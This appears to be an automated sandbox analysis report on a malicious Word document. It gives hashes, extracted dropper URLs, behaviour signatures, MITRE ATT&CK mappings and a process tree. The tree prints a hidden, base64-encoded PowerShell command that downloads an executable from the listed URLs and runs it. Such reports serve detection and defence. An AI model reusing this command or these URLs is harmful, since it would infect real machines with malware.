ce875226228081a3efd7ed41b4597a573b7799c1f38e2853ef6eb51649d5a815

General

Target

ce875226228081a3efd7ed41b4597a573b7799c1f38e2853ef6eb51649d5a815.doc
Size

181KB
MD5

e1714e91acd7c82e9d0cfdf537b929fe
SHA1

2a15b3a87b8d7f9d5d593c50b5fdb3877ea38583
SHA256

ce875226228081a3efd7ed41b4597a573b7799c1f38e2853ef6eb51649d5a815
SHA512

c9cd268728f37657c518cc7ddb67521c0a8f3ff12f7ece0f722f3a5a48adcb99ff9a67787ed62303ae8d845365b93572b7bda783d8a46d8ffbaa9ad09a76426f
SSDEEP

3072:9N62y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBU0asiv8Ob7V:9N62k4PF7tGiL3HJk9rD7b0asiv8GZ

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1124	3476	Powershell.exe	84

Blocklisted process makes network request 3 IoCs

flow	pid	Process
27	1124	Powershell.exe
72	1124	Powershell.exe
75	1124	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1124	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1832	WINWORD.EXE
1832	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1124	Powershell.exe
1124	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1124	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1832	WINWORD.EXE
1832	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
1832	WINWORD.EXE
1832	WINWORD.EXE
1832	WINWORD.EXE
1832	WINWORD.EXE
1832	WINWORD.EXE
1832	WINWORD.EXE
1832	WINWORD.EXE
1832	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1832 wrote to memory of 2448	1832	WINWORD.EXE	85
PID 1832 wrote to memory of 2448	1832	WINWORD.EXE	85

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ce875226228081a3efd7ed41b4597a573b7799c1f38e2853ef6eb51649d5a815.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1832
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2448

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\790D95AE.wmf

Filesize
444B

MD5
56cb38515a2259f06dc0f3bd6d32977e

SHA1
40e63e6a9fe43e49d40b9f380e719ef02d79af48

SHA256
77bb08ca624fc3adca4e3814af8133ca5c2ae8ea9121e0c8534cddf36d9572c0

SHA512
7680daee634f4e60518545d4fdd4d3c6f85de811e7b407ef5bfc47f462af6ac6ba7e4d4f4a32d581797664e9ec75a8af86a601ed665510784d2fa88156a2c1cf

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDF938.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wtb0gvbr.cda.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/1124-46-0x000001BB56160000-0x000001BB56182000-memory.dmp

Filesize
136KB

Download
memory/1832-6-0x00007FFA21FD0000-0x00007FFA221C5000-memory.dmp

Filesize
2.0MB

Download
memory/1832-0-0x00007FF9E2050000-0x00007FF9E2060000-memory.dmp

Filesize
64KB

Download
memory/1832-7-0x00007FF9E2050000-0x00007FF9E2060000-memory.dmp

Filesize
64KB

Download
memory/1832-8-0x00007FFA21FD0000-0x00007FFA221C5000-memory.dmp

Filesize
2.0MB

Download
memory/1832-9-0x00007FFA21FD0000-0x00007FFA221C5000-memory.dmp

Filesize
2.0MB

Download
memory/1832-11-0x00007FF9DFFC0000-0x00007FF9DFFD0000-memory.dmp

Filesize
64KB

Download
memory/1832-12-0x00007FFA21FD0000-0x00007FFA221C5000-memory.dmp

Filesize
2.0MB

Download
memory/1832-10-0x00007FFA21FD0000-0x00007FFA221C5000-memory.dmp

Filesize
2.0MB

Download
memory/1832-13-0x00007FF9DFFC0000-0x00007FF9DFFD0000-memory.dmp

Filesize
64KB

Download
memory/1832-5-0x00007FFA21FD0000-0x00007FFA221C5000-memory.dmp

Filesize
2.0MB

Download
memory/1832-4-0x00007FF9E2050000-0x00007FF9E2060000-memory.dmp

Filesize
64KB

Download
memory/1832-3-0x00007FF9E2050000-0x00007FF9E2060000-memory.dmp

Filesize
64KB

Download
memory/1832-2-0x00007FF9E2050000-0x00007FF9E2060000-memory.dmp

Filesize
64KB

Download
memory/1832-65-0x00007FFA21FD0000-0x00007FFA221C5000-memory.dmp

Filesize
2.0MB

Download
memory/1832-66-0x00007FFA2206D000-0x00007FFA2206E000-memory.dmp

Filesize
4KB

Download
memory/1832-67-0x00007FFA21FD0000-0x00007FFA221C5000-memory.dmp

Filesize
2.0MB

Download
memory/1832-68-0x00007FFA21FD0000-0x00007FFA221C5000-memory.dmp

Filesize
2.0MB

Download
memory/1832-1-0x00007FFA2206D000-0x00007FFA2206E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads